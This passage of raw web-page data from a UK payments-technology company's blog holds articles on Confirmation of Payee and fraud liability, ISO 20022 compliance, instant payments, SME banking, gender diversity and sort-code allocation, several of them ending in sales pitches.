Pay.UK and were hailed as the latest and most effective weapons against the rising tide of Authorised Push Payment fraud.",[],{"type":25,"text":6292,"spans":6293},"Whilst it is acknowledged that banks could, and should, do more (the PSR has already signalled its intent to significantly improve customer protection and is seeking feedback on two consultations [1]), there is a growing pressure on banks to implement CoP now (with even the main-steam-media now naming and shaming banks who don’t support CoP).",[],{"type":25,"text":6295,"spans":6296},"Despite obvious problems with the CRM, CoP remains the highest-profile technical solution available to banks to avoid financial liability whilst at the same time potentially improving the customer experience & protection (which after all, is what this is all about).",[],{"type":25,"text":6298,"spans":6299},"Most recently, at the end of April 2021, UK Finance announced a policy of autonomy for banks to reimburse their customers, thereby removing the central pot delivered by the CRM completely.",[],{"type":25,"text":6301,"spans":6302},"However, due to the way CoP was implemented in phases by Pay.UK, introducing some technical complexity, access to and take-up of CoP has been limited in terms of the numbers of banks participating.",[],{"type":25,"text":6304,"spans":6305},"So is it an opportunity or a headache?",[],"rich_text$2bbd0e04-d601-4e28-9404-64cc71ec9f8a",{"variation":437,"version":438,"items":6308,"primary":6309,"id":6323,"slice_type":468,"slice_label":5},[],{"body":6310},[6311,6314,6317,6320],{"type":988,"text":6312,"spans":6313,"direction":445},"Intro to Confirmation of Payee - CoP 101",[],{"type":25,"text":6315,"spans":6316,"direction":445},"To begin with, a quick intro to Phase 1 and 2 of Confirmation of Payee.",[],{"type":25,"text":6318,"spans":6319,"direction":445},"In August 2019, the PSR used its regulatory powers (in the form of ‘Specific Direction 10’). In August 2019, the PSR used its regulatory powers (in the form of ‘Specific Direction 10’) to require members of the UK’s six largest banking groups to implement CoP, by the end of March 2020 [2].",[],{"type":25,"text":6321,"spans":6322,"direction":445},"Like any industry-led change, whether mandated or voluntary, there are first movers, early adopters and then mass followers. Where CoP is concerned, this can have real-world consequences both from a liability perspective but also customer acquisition, experience and retention. Apart from the PSR-mandated group, however, only a handful of banks took the plunge and participated in CoP phase 1.",[],"rich_text$4f559f2e-66f7-4487-9135-5bc02669c039",{"variation":437,"version":438,"items":6325,"primary":6326,"id":6343,"slice_type":468,"slice_label":5},[],{"body":6327},[6328,6331,6334,6337,6340],{"type":988,"text":6329,"spans":6330,"direction":445},"Partly, this was down to the rules of Phase 1 which dictated that:",[],{"type":1151,"text":6332,"spans":6333,"direction":445},"You are an Account Servicing Payment Service Provider (ASPSP)",[],{"type":1151,"text":6335,"spans":6336,"direction":445},"You have a sort code allocated to you with your own bank code in the EISCD",[],{"type":1151,"text":6338,"spans":6339,"direction":445},"You are an FCA registered entity",[],{"type":1151,"text":6341,"spans":6342,"direction":445},"You are registered with Open Banking ",[],"rich_text$ea81f6dc-998e-4f31-b099-a2fb7f1ead10",{"variation":437,"version":438,"items":6345,"primary":6346,"id":6363,"slice_type":468,"slice_label":5},[],{"body":6347},[6348,6351,6354,6357,6360],{"type":988,"text":6349,"spans":6350,"direction":445},"This meant that the following groups were excluded from joining CoP:",[],{"type":1151,"text":6352,"spans":6353,"direction":445},"Organisations whose customers are addressed via a secondary reference (i.e. an agency PSP that does not have a sort code allocated to them with their own bank code in the EISCD)",[],{"type":1151,"text":6355,"spans":6356,"direction":445},"Organisations not registered with FCA",[],{"type":1151,"text":6358,"spans":6359,"direction":445},"Non-ASPSPs e.g. Third Party Providers (TPPs) \u002F Payment Initiation Service Providers (PISPs)\u002FAccount Information Service Providers (AISPs)",[],{"type":25,"text":6361,"spans":6362,"direction":445},"From a technical point of view, the well-trailed phase 2 (designed to extend the benefits of CoP to the wider audience excluded under phase 1) is going to be delivered via a different technical solution. Whilst this might help to remove some of the technical barriers to entry to encourage participation, phase 2 is not compatible with phase 1 and so all phase 1 participants are obliged to migrate to phase 2. This mandated migration has led to a ‘wait and see’ approach from many banks and FIs who may have been eligible for phase 1.",[],"rich_text$c88dbafc-b465-415b-bd6a-ff2463c470fe",{"variation":437,"version":438,"items":6365,"primary":6366,"id":6374,"slice_type":468,"slice_label":5},[],{"body":6367},[6368,6371],{"type":988,"text":6369,"spans":6370,"direction":445},"So potential participants have a problem.",[],{"type":25,"text":6372,"spans":6373,"direction":445},"Their customers require and demand protection and the PSR is wielding a big stick in the shape of CRM or more proposed draconian measures and yet any work undertaken now is likely to be throw-away as phase 1 makes way for phase 2.",[],"rich_text$e1901dad-8054-47d6-80b0-fdbe4dcd5009",{"variation":437,"version":438,"items":6376,"primary":6377,"id":6403,"slice_type":468,"slice_label":5},[],{"body":6378},[6379,6382,6385,6388,6391,6394,6397,6400],{"type":988,"text":6380,"spans":6381,"direction":445},"So what exactly is CoP?",[],{"type":25,"text":6383,"spans":6384,"direction":445},"CoP is a look-up and validation service to enable payers to check the account name registered against a payee’s sort code and account number at a 3rd party bank (referred to as the ‘Account Servicing Payment Service Provider’ (‘ASPSP’). On request of their Customer trying to set-up a new beneficiary (i.e. their Customer is the ‘payer’ here), the payer’s bank will send a request to the payee’s bank (we’ll call this COP-OUT) which the payee’s bank receives (as a COP-IN request).\nThe request asks for the payee’s bank to check the account name registered against a specific sort code and account number. The payee’s bank responds to the COP-IN look-up request by matching the name in the COP-IN request with the account name registered on their database. The CoP rules allow for the following responses:",[],{"type":3373,"text":6386,"spans":6387,"direction":445},"A Full Match",[],{"type":3373,"text":6389,"spans":6390,"direction":445},"A Close Match",[],{"type":3373,"text":6392,"spans":6393,"direction":445},"No Match",[],{"type":25,"text":6395,"spans":6396,"direction":445},"Once the match is completed and the result identified, a response is sent back to the payer’s bank who will inform the customer via their own particular UX. And here is where a major problem occurs. The UX is controlled by the payer’s bank and therefore different banks give different outcomes and options. Some banks may not allow payments to be made where a ‘Close Match’ is given and may ask you to retry. Others might let it slide and some may let some go through depending on a ‘score’",[],{"type":25,"text":6398,"spans":6399,"direction":445},"When it comes to not being able to check because the ASPSP is not a participant in CoP, the decision becomes a difficult one. Do you stop your customer from making payments to that account because they can’t check it? Do you let it slide because you have no way of checking and therefore the payee’s bank (who’s not connected to CoP) will be liable for any losses or do you create another process by which a customer can check that account or make that payment which adds cost and time and introduces friction?",[],{"type":25,"text":6401,"spans":6402,"direction":445},"Whatever happens, not having more banks on CoP causes problems for everyone – the customer, and both payer and payee banks.",[],"rich_text$56c7af97-5c8f-45c3-bbc7-280e5b9ea02d",{"variation":437,"version":438,"items":6405,"primary":6406,"id":6433,"slice_type":468,"slice_label":5},[],{"body":6407},[6408,6411,6417,6420,6423,6426],{"type":988,"text":6409,"spans":6410,"direction":445},"Confirmation of Payee Phase 2",[],{"type":25,"text":6412,"spans":6413,"direction":445},"So, whilst Phase 2 does provide some simplification in that the service that can be provided to a wider group of financial institutions, and opens the directory up to a wider vendor playing field, the question that really needs to be asked is ‘Is waiting for the end of Phase 1 worth the risk and will phase 2 change this?",[6414],{"start":6415,"end":6416,"type":765},243,322,{"type":25,"text":6418,"spans":6419,"direction":445},"In my humble opinion, the answer is no. With a recent article by The Guardian stating, “Millions of UK bank customers miss out on security checks” [3], it appears that patience is wearing thin…",[],{"type":25,"text":6421,"spans":6422,"direction":445},"Put simply, Confirmation of Payee has posed quite a problem for many banks and FI’s to implement. Despite the concept itself being quite straightforward, legacy architecture and infrastructure within existing bank payment estates, coupled with a phased scheme approach (with no backwards compatibility), is hampering the rapid rollout of CoP and other innovations meaning customers of those banks are left without the service and eventual safety nets it provides.",[],{"type":25,"text":6424,"spans":6425,"direction":445},"The above-mentioned article goes so far as to name and shame some specific organisations and my message to those businesses, as well as any others who’ve not yet addressed COP.",[],{"type":25,"text":6427,"spans":6428,"direction":445},"Let’s talk, Confirmation of Payee needn’t be the headache you anticipate.",[6429,6430],{"start":398,"end":3089,"type":765},{"start":398,"end":905,"type":489,"data":6431},{"link_type":491,"url":6432,"target":493},"https:\u002F\u002Fbit.ly\u002F3np01Oa","rich_text$fd9b4627-cdf1-48ea-8dcd-96da85260fec",{"variation":437,"version":438,"items":6435,"primary":6436,"id":6456,"slice_type":468,"slice_label":5},[],{"body":6437},[6438,6441,6444,6447,6450,6453],{"type":988,"text":6439,"spans":6440,"direction":445},"Is there a painless solution to implement Confirmation of Payee?",[],{"type":25,"text":6442,"spans":6443,"direction":445},"Form3 is leading the way to help banks and financial institutions access CoP technology and we urge you to get in touch to see how we can help you with CoP wherever you are on your journey.",[],{"type":25,"text":6445,"spans":6446,"direction":445},"Form3 have built a COP solution for Phase 1 that covers both Responder & end-point look-Up services and the Service is live, in production, with some of the biggest names in the world of banking and payments. For Phase 2, we will be operating a full inbound and outbound solution for sending and receiving CoP requests.",[],{"type":25,"text":6448,"spans":6449,"direction":445},"Both services run on the same award-winning cloud-native infrastructure on which we run our market-leading payment solutions (including a significant double-digit percentage of all UK Faster Payments traffic by 2022). See the diagrams above for a high-level view of our API-based CoP solution.",[],{"type":25,"text":6451,"spans":6452,"direction":445},"As a fully managed payments technology provider, we’ll ensure a seamless migration between Phase 1 and 2 at the relevant point in time.",[],{"type":25,"text":6454,"spans":6455,"direction":445},"If Confirmation of Payee is still presenting a challenge for you, send me a note and let’s have a conversation about where we can help - callum.hay@form3.tech",[],"rich_text$f156ab2f-b4ef-4060-83d3-157725f3130e",{"variation":437,"version":438,"items":6458,"primary":6459,"id":6476,"slice_type":468,"slice_label":5},[],{"body":6460},[6461,6464,6467,6470,6473],{"type":988,"text":6462,"spans":6463,"direction":445},"Sources:",[],{"type":25,"text":6465,"spans":6466,"direction":445},"[1] https:\u002F\u002Fwww.psr.org.uk\u002Fpublications\u002Fconsultations\u002F",[],{"type":25,"text":6468,"spans":6469,"direction":445},"[2] Bank of Scotland plc, Barclays Bank UK plc, Barclays Bank plc, HSBC Bank plc, HSBC UK Bank plc, Lloyds Bank plc, National Westminster Bank plc, Nationwide Building Society, Royal Bank of Scotland plc, Santander UK plc and Ulster Bank Limited",[],{"type":25,"text":6471,"spans":6472,"direction":445},"[3] https:\u002F\u002Fwww.theguardian.com\u002Fmoney\u002F2021\u002Fmar\u002F20\u002Fuk-bank-customers-security-checks-confirmation-of-payee",[],{"type":25,"text":6474,"spans":6475,"direction":445},"[4] https:\u002F\u002Fwww.wearepay.uk\u002Fprogrammes\u002Fend-user-deliverables\u002Fconfirmation-of-payee\u002F",[],"rich_text$d4f6e72e-5c54-4319-894d-6c95a530cea8",{"id":6478,"uid":6479,"type":3743,"data":6480},"alz0fBEAACgAUWYA","standards--old-problems-new-solutions",{"title":6481,"excerpt":6482,"card_image":6483,"published_date":5812,"reading_time":643,"tag":3751,"dek":6482,"featured_image":6486,"about_form3":6487,"client_about_heading":5,"client_about_body":6488,"author_name":5,"author_title":5,"author_photo":6489,"author_bio":6490,"author_linkedin":6491,"slices":6492,"meta_title":6481,"meta_description":6482},"Standards – Old Problems New Solutions","ISO 20022 is the standard of choice for central systems and the growing instant payment initiatives...",{"dimensions":6484,"alt":413,"copyright":5,"url":414,"id":415,"edit":6485},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[6493,6521],{"variation":437,"version":527,"items":6494,"primary":6495,"id":6520,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6496,"body":6497,"cta_label":5,"cta_link":6507,"aside_type":533,"aside_image":6508,"aside_video":6515,"aside_video_poster":6516,"aside_video_reduced_motion":6517,"aside_video_url":5,"aside_embed":6518,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6519,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[6498,6501,6504],{"type":25,"text":6499,"spans":6500,"direction":445},"ISO 20022 is the standard of choice for central systems and the growing instant payment initiatives. As an API based SaaS business for instant payments, we regularly get asked whether we are compliant with ISO 20022, both from new PSPs and incumbents. So are we compliant with ISO20022? Europe is our second home market and we are expanding our services further afield, so the answer is an emphatic, YES!",[],{"type":25,"text":6502,"spans":6503,"direction":445},"Form3 is compliant with ISO 20022, but that does not mean that we ask our customers to submit pacs.008 equivalents in API and support multiple versions of that. Nor does it mean we are only compliant for those market practices that explicitly choose to use ISO 20022 messages.",[],{"type":25,"text":6505,"spans":6506,"direction":445},"Our API provides ALL the data needed for any market practice and central system we service. The result of this is that we are future proof and ready for any change to global standards or for the emergence of a new one. It keeps our integrations simple, clean and single. A payment is a payment after all.",[],{"link_type":434},{"dimensions":6509,"alt":5,"copyright":5,"url":6512,"id":6513,"edit":6514},{"width":6510,"height":6511},300,375,"\u002F_prismic-media\u002F8a4201be428b1e83-5rbpqpWOYKhKgydE_f9836eaa-8d8b-4f1a-ba32-d901b4f.png","5rbpqpWOYKhKgydE",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$826e6558-a473-45df-a95a-feed9a43dd44",{"variation":437,"version":438,"items":6522,"primary":6523,"id":6531,"slice_type":468,"slice_label":5},[],{"body":6524},[6525,6528],{"type":25,"text":6526,"spans":6527,"direction":445},"Putting the complexity of standardisation, maintenance and exception handling on you, when this is not your core business, does not make any sense. Taking the standards up a level provides huge benefits. With each new market you enter, the actual data to be exchanged does not vary that much; the validation rules that are particular to market practices rather than messaging, and message standards are quite limited and always around the same points. Thinking about old world problems in a new way, will free up resources and allow for more focus on what matters; your servicing and ownership of the customer relationship. Food for thought which may lead to a modernized usage of that financial messaging recipe; we are always looking to continue the dialogue and bring new people to the table.",[],{"type":25,"text":6529,"spans":6530,"direction":445},"The kitchen is open.",[],"rich_text$56689365-0f24-40d3-862b-5d6c94be22fe",{"id":6533,"uid":6534,"type":3743,"data":6535},"alz0mhEAACgAUWYy","instant-payments-in-europe",{"title":6536,"excerpt":6537,"card_image":6538,"published_date":5,"reading_time":4603,"tag":3992,"dek":5,"featured_image":6541,"about_form3":6542,"client_about_heading":5,"client_about_body":6543,"author_name":5,"author_title":5,"author_photo":6544,"author_bio":6545,"author_linkedin":6546,"slices":6547,"meta_title":6536,"meta_description":6537},"Whitepaper: Instant payments in Europe: where next?","Payments are evolving significantly – and while there are many areas of development, one of the most significant is that of instant payments. But what’s driving the adoption of instant payments, and how is this area progressing in Europe and beyond?",{"dimensions":6539,"alt":413,"copyright":5,"url":414,"id":415,"edit":6540},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[6548],{"variation":437,"version":527,"items":6549,"primary":6550,"id":6571,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6551,"body":6552,"cta_label":5,"cta_link":6559,"aside_type":533,"aside_image":6560,"aside_video":6566,"aside_video_poster":6567,"aside_video_reduced_motion":6568,"aside_video_url":5,"aside_embed":6569,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6570,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[6553,6556],{"type":25,"text":6554,"spans":6555,"direction":445},"As the uptake of instant payments continues, there are a number of obstacles that will still need to be overcome, from the constraints of existing back-office applications to regulatory factors. Work is underway to address these issues, and there are solutions which can help to bridge the gap in the meantime.",[],{"type":25,"text":6557,"spans":6558,"direction":445},"This white paper looks at the factors driving the development of instant payments, the possible barriers for adoption and the impact instant payments may have on legacy payment methods.",[],{"link_type":434},{"dimensions":6561,"alt":5,"copyright":5,"url":6563,"id":6564,"edit":6565},{"width":6562,"height":6562},600,"\u002F_prismic-media\u002F474928ec8eba3659-Byrvtvv-kD7O036P_825952b6-d22a-4ca5-8899-1be9dc9.png","Byrvtvv-kD7O036P",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$ac44d1f4-d89b-418b-8d76-f957e9a6753a",{"id":6573,"uid":6574,"type":3743,"data":6575},"alz0chEAACoAUWXm","game-changers",{"title":6576,"excerpt":6577,"card_image":6578,"published_date":5812,"reading_time":4603,"tag":3751,"dek":6577,"featured_image":6581,"about_form3":6582,"client_about_heading":5,"client_about_body":6583,"author_name":5,"author_title":5,"author_photo":6584,"author_bio":6585,"author_linkedin":6586,"slices":6587,"meta_title":6576,"meta_description":6577},"Game changers","A new era of global transaction banking for SME’s",{"dimensions":6579,"alt":413,"copyright":5,"url":414,"id":415,"edit":6580},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[6588,6613],{"variation":437,"version":527,"items":6589,"primary":6590,"id":6612,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6591,"body":6592,"cta_label":5,"cta_link":6599,"aside_type":533,"aside_image":6600,"aside_video":6607,"aside_video_poster":6608,"aside_video_reduced_motion":6609,"aside_video_url":5,"aside_embed":6610,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6611,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[6593,6596],{"type":25,"text":6594,"spans":6595,"direction":445},"SME's around the world have been poorly served when it comes to accessing payment services, FX hedging and financing by banks. In a 2019 study by Mastercard, most small firms believe that it takes too long for them to access funds from sales. With the majority of small businesses receiving revenue through cards, there is often a shortage while businesses wait for their funds to settle.",[],{"type":25,"text":6597,"spans":6598,"direction":445},"Even more concerning is that a third of these firms are turning to financing products to deal with delayed settlements. The study paints a bleak picture for SME’s, but thankfully things are now changing.",[],{"link_type":434},{"dimensions":6601,"alt":5,"copyright":5,"url":6604,"id":6605,"edit":6606},{"width":6602,"height":6603},1316,741,"\u002F_prismic-media\u002F1664f39d8682c822-WN_4tHaEBLZhp6CL_9921faec-bc4e-4c06-b664-39906e2.jpeg","WN_4tHaEBLZhp6CL",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$2f15f339-c8ee-4790-a7a3-158b1da2dac1",{"variation":437,"version":438,"items":6614,"primary":6615,"id":6632,"slice_type":468,"slice_label":5},[],{"body":6616},[6617,6620,6623,6626,6629],{"type":25,"text":6618,"spans":6619,"direction":445},"In 2020, financial institutions in the SME space will be able to provide their customers with services that traditionally only global institutions could offer to their largest corporate clients.",[],{"type":25,"text":6621,"spans":6622,"direction":445},"How? By building the first API based global transaction platform for SME's that removes borders, makes it simple to expand globally and operate in local markets without the associated cost and complexity. Providing Financial Institutions with easy access to global payment services will help their SME customers optimise supply chains and better serve their clients.",[],{"type":25,"text":6624,"spans":6625,"direction":445},"Through its initial partnership with Ebury, Form3 will offer end customers access through their respective banks and fintech to Form3’s API-driven real-time platform. With simple customer onboarding, financial institutions can embed this capability into their existing customer channels and mobile apps.",[],{"type":25,"text":6627,"spans":6628,"direction":445},"Form3’s market leading API technology and payments expertise combined with Ebury’s global SME transaction service will ensure customers can access International Payments (pay in and pay out) FX (Spot and Fixed\u002FWindow Forward) and Trade Finance, settling in up to 130+ currencies globally. In addition, customers will be able to benefit from preferential payment and collection capability using the same API.",[],{"type":25,"text":6630,"spans":6631,"direction":445},"Even more exciting is that the API-driven, fully automated real-time global platform will be available for financial institutions to pilot early in 2020!",[],"rich_text$88eb89f8-5fd6-4a33-a02e-6ba669e130c0",{"id":6634,"uid":6635,"type":3743,"data":6636},"alz0ZhEAACgAUWXF","international-womens-day",{"title":6637,"excerpt":6638,"card_image":6639,"published_date":6642,"reading_time":1355,"tag":3751,"dek":6638,"featured_image":6643,"about_form3":6644,"client_about_heading":5,"client_about_body":6645,"author_name":5,"author_title":5,"author_photo":6646,"author_bio":6647,"author_linkedin":6648,"slices":6649,"meta_title":6637,"meta_description":6638},"International Women's Day","Aiming high on gender diversity",{"dimensions":6640,"alt":413,"copyright":5,"url":414,"id":415,"edit":6641},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2020-04-01",{},[],[],{},[],{"link_type":434},[6650,6675,6686,6709,6729],{"variation":437,"version":527,"items":6651,"primary":6652,"id":6674,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6653,"body":6654,"cta_label":5,"cta_link":6661,"aside_type":533,"aside_image":6662,"aside_video":6669,"aside_video_poster":6670,"aside_video_reduced_motion":6671,"aside_video_url":5,"aside_embed":6672,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6673,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[6655,6658],{"type":25,"text":6656,"spans":6657,"direction":445},"This Sunday is International Women’s Day. As a father of three teenage girls, I must admit, I have some mixed feelings about this day. On the one hand, I think that it is very important and entirely appropriate to celebrate the amazing achievements of women in the workplace and society in general. On the other hand, I think that we should be striving for a future that looks back at history and laughs at us for needing a day like this to remind us that women do great things and that all genders should be celebrated.",[],{"type":25,"text":6659,"spans":6660,"direction":445},"But for now, I believe that we need this day as a reminder that there is some work to be done to make improvements to create the future we want to achieve. And that is certainly true for us here at Form3.",[],{"link_type":434},{"dimensions":6663,"alt":5,"copyright":5,"url":6666,"id":6667,"edit":6668},{"width":6664,"height":6665},667,733,"\u002F_prismic-media\u002Faa7cecfb3d55a000-qjwsTB7GrKawF995_4cde2082-864d-4483-9aa2-dc492a7.png","qjwsTB7GrKawF995",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$2c18f1b5-cbf6-4e51-88ff-5acbd0ee0cfd",{"variation":437,"version":438,"items":6676,"primary":6677,"id":6685,"slice_type":468,"slice_label":5},[],{"body":6678},[6679,6682],{"type":988,"text":6680,"spans":6681,"direction":445},"The Reality",[],{"type":25,"text":6683,"spans":6684,"direction":445},"Females currently make up 19% of our business. They make up 33% of our leadership team and 0% of our board. We won’t sugar coat this. We had to learn that achieving a 50\u002F50 gender split is hard for a technology company where more than 50% of staff are software engineers. But, these stats just aren’t good enough; not for Form3, not for the industry, and certainly not for the working population overall.",[],"rich_text$039aca5e-acfb-4f63-a39f-ed6a654428b7",{"variation":437,"version":438,"items":6687,"primary":6688,"id":6708,"slice_type":468,"slice_label":5},[],{"body":6689},[6690,6693,6696,6699,6702,6705],{"type":988,"text":6691,"spans":6692,"direction":445},"The Positives",[],{"type":25,"text":6694,"spans":6695,"direction":445},"For me, and Form3, equality isn’t an option, it’s a right. We have a leadership team that is very passionate about diversity and creating an organisation and industry that is more representative of the general population. We’ve already taken a number of steps to try and promote a more diverse workforce and industry. We’re doing this because we are convinced that greatness comes through the diverse exchange of ideas from a diverse range of perspectives.",[],{"type":25,"text":6697,"spans":6698,"direction":445},"We are continuing our gender diversity mission with three values in mind that help to guide everything we do.",[],{"type":25,"text":6700,"spans":6701,"direction":445},"The first is ‘caring deeply’. Our company values take pride of place over the wall in our London office and act as a great visual but actually, we don’t need much reminding of what is important to us. Caring deeply is our top value and is engrained in absolutely everything we do.",[],{"type":25,"text":6703,"spans":6704,"direction":445},"The second is ‘completeness’. We absolutely do not just want to make a token efforts or surface level changes to champion diversity. We have big initiatives underway to educate, invest, recruit and retain. Of course, we would love to bring more women into our business, but for us, it’s also about the bigger picture. It’s about encouraging more girls to study STEM subjects, supporting opportunities for girls to code, providing a place to work that is conducive to the success of each and every person in the company and much more than that.",[],{"type":25,"text":6706,"spans":6707,"direction":445},"Thirdly is ‘transparency and accountability’. We won’t profess to having these amazing gender diversity targets where our organisational gender split suddenly becomes 50\u002F50. We are aiming for a 20\u002F80 gender split by the end of 2020 and an internal leadership split of 30\u002F70. I appreciate, this may not sound mind blowing, but this is a significant improvement on our current employee make up and is one (very important) step towards a much bigger goal for not only Form3, but for the fintech industry as a whole.",[],"rich_text$487c5fd8-7f8a-4a88-8dfa-b8683125d5dc",{"variation":437,"version":438,"items":6710,"primary":6711,"id":6728,"slice_type":468,"slice_label":5},[],{"body":6712},[6713,6716,6719,6722,6725],{"type":988,"text":6714,"spans":6715,"direction":445},"The Actions",[],{"type":25,"text":6717,"spans":6718,"direction":445},"In July 2019, we developed partnerships with Women in Tech, Women in Finance Charter and Tech Talent charters.",[],{"type":25,"text":6720,"spans":6721,"direction":445},"In October 2019, we revamped introduced and advertised part time working opportunities across all business areas, to all candidates. We also allow our employees to work remotely 100% of the time, but this isn’t a new thing, we’ve been doing this since the company was founded with great results!",[],{"type":25,"text":6723,"spans":6724,"direction":445},"In December 2019, we conducted a salary benchmarking review as well as a gender pay gap review. We realised there were some small gender gaps, and quickly addressed these.",[],{"type":25,"text":6726,"spans":6727,"direction":445},"In January 2020, we introduced a ban on male only shortlists for all roles across the company. We aim to target shortlists that are comprised of a 50\u002F50 gender split. This is a recent change, but we’re looking forward to seeing what results this yields.",[],"rich_text$d48ff123-429f-4882-b19e-463ce524c417",{"variation":437,"version":438,"items":6730,"primary":6731,"id":6752,"slice_type":468,"slice_label":5},[],{"body":6732},[6733,6736,6739,6742,6745,6748],{"type":988,"text":6734,"spans":6735,"direction":445},"Next Steps",[],{"type":25,"text":6737,"spans":6738,"direction":445},"In April 2020, we will improve our benefit offerings across the business in order to attract and retain diverse talent.",[],{"type":25,"text":6740,"spans":6741,"direction":445},"In May 2020, we will begin sponsoring a “Girls Who Code” community group. For us, doing the right thing isn’t just for Form3, or the industry but also means giving back to the community and showcasing what great opportunities arise from being able to code.",[],{"type":25,"text":6743,"spans":6744,"direction":445},"In June 2020, we will be publishing details of our gender pay gap data.",[],{"type":25,"text":6746,"spans":6747,"direction":445},"We will continue to provide updates on our progress each quarter. I cannot wait to see what the rest of 2020 holds for Form3, and Fintech as a whole.",[],{"type":25,"text":6749,"spans":6750,"direction":445},"#Eachforequal\n#IWD\n#Shebelongs\n#Womenfastforward",[6751],{"start":398,"end":5490,"type":593},"rich_text$4b4179b0-123a-4426-b5fc-49f045635ac7",{"id":6754,"uid":6755,"type":3743,"data":6756},"alz0ixEAACcAUWYc","will-all-banks-and-psps-require-their-own-sort-code-from-july-2019",{"title":6757,"excerpt":6758,"card_image":6759,"published_date":6762,"reading_time":506,"tag":5813,"dek":6758,"featured_image":6763,"about_form3":6764,"client_about_heading":5,"client_about_body":6765,"author_name":5,"author_title":5,"author_photo":6766,"author_bio":6767,"author_linkedin":6768,"slices":6769,"meta_title":6757,"meta_description":6758},"Will all Banks and PSP’s require their own Sort Code from July 2019?","Will every UK financial institution receiving payments require its own Sort Code by July 2019, as a consequence of the Confirmation of Payee (CoP) implementation? ...",{"dimensions":6760,"alt":413,"copyright":5,"url":414,"id":415,"edit":6761},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2019-11-04",{},[],[],{},[],{"link_type":434},[6770,6799],{"variation":437,"version":527,"items":6771,"primary":6772,"id":6798,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6773,"body":6774,"cta_label":5,"cta_link":6786,"aside_type":533,"aside_image":6787,"aside_video":6793,"aside_video_poster":6794,"aside_video_reduced_motion":6795,"aside_video_url":5,"aside_embed":6796,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6797,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[6775,6783],{"type":25,"text":6776,"spans":6777,"direction":445},"Will every UK financial institution receiving payments require its own Sort Code by July 2019 (see post), as a consequence of the Confirmation of Payee (CoP) implementation?",[6778],{"start":6779,"end":6780,"type":489,"data":6781},94,104,{"link_type":491,"url":6782,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Ffeed\u002Fupdate\u002Furn:li:activity:6452902314360467456?lipi=urn%3Ali%3Apage%3Ad_flagship3_pulse_read%3BxkI%2B5H7HR0aQHW8wYg%2FyWw%3D%3D",{"type":25,"text":6784,"spans":6785,"direction":445},"Currently, many financial institutions use a collection bank account rather than obtaining their own a sort code via their settlement bank.",[],{"link_type":434},{"dimensions":6788,"alt":5,"copyright":5,"url":6790,"id":6791,"edit":6792},{"width":6789,"height":884},400,"\u002F_prismic-media\u002F4f680199ccbf071d-tia2rsiFdVrsPeap_1a29394b-9cd3-4f2d-8c63-11019fb.png","tia2rsiFdVrsPeap",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$7b87d6d6-ed4f-429f-9f16-4eee761feae4",{"variation":437,"version":438,"items":6800,"primary":6801,"id":6845,"slice_type":468,"slice_label":5},[],{"body":6802},[6803,6807,6810,6813,6816,6819,6822,6825,6828,6831,6839,6842],{"type":988,"text":6804,"spans":6805,"direction":445},"An example on having your own Sort Code",[6806],{"start":398,"end":4219,"type":593},{"type":25,"text":6808,"spans":6809,"direction":445},"Let’s assume ABC Payments Ltd uses their account at XYZ Bank, acting as the settlement bank, to receive payments. Once Confirmation of Payee is adopted in mid 2019, let's imagine that the bank of Mr Patel, who is looking to send money to Mr Jones’ account with ABC, is setting up Mr Jones as a new beneficiary.",[],{"type":25,"text":6811,"spans":6812,"direction":445},"The bank will identify that the beneficiary sort code is that of XYZ Bank, and send the CoP request to XYZ Bank. XYZ Bank has no knowledge of the individual accounts held in ABC Payments Ltd books and will respond “No match”.",[],{"type":25,"text":6814,"spans":6815,"direction":445},"Mr Patel’s bank therefore will advise him either not to set-up the new beneficiary or to proceed at his own risk. Either way ABC Payments Ltd using a collection account with XYZ Bank, effectively will no longer receive Faster Payments.",[],{"type":25,"text":6817,"spans":6818,"direction":445},"A work around may be to advise Mr Patel to add ‘ABC Payments Ltd’ as the beneficiary rather than ‘Mr Jones’. However, if the money is then paid into the account of ‘Ms Fraud’ he will have no CoP protection.",[],{"type":25,"text":6820,"spans":6821,"direction":445},"The solution therefore is for ABC Payments Ltd to ask XYZ Bank to assign them a dedicated sort code and then they can allocate a directly FPS addressable account numbers to each one of their clients. They can also participate directly in CoP.",[],{"type":25,"text":6823,"spans":6824,"direction":445},"Use of industry modulus algorithms on that sort code, would result in ABC Bank receiving fewer misdirected payments, as keying errors should be caught by the remitter. An additional benefit is that the sort code is portable to another bank, so it is much easier to for ABC Payments to switch banks in the future.",[],{"type":25,"text":6826,"spans":6827,"direction":445},"The Payments Systems Regulator @PSR may well be 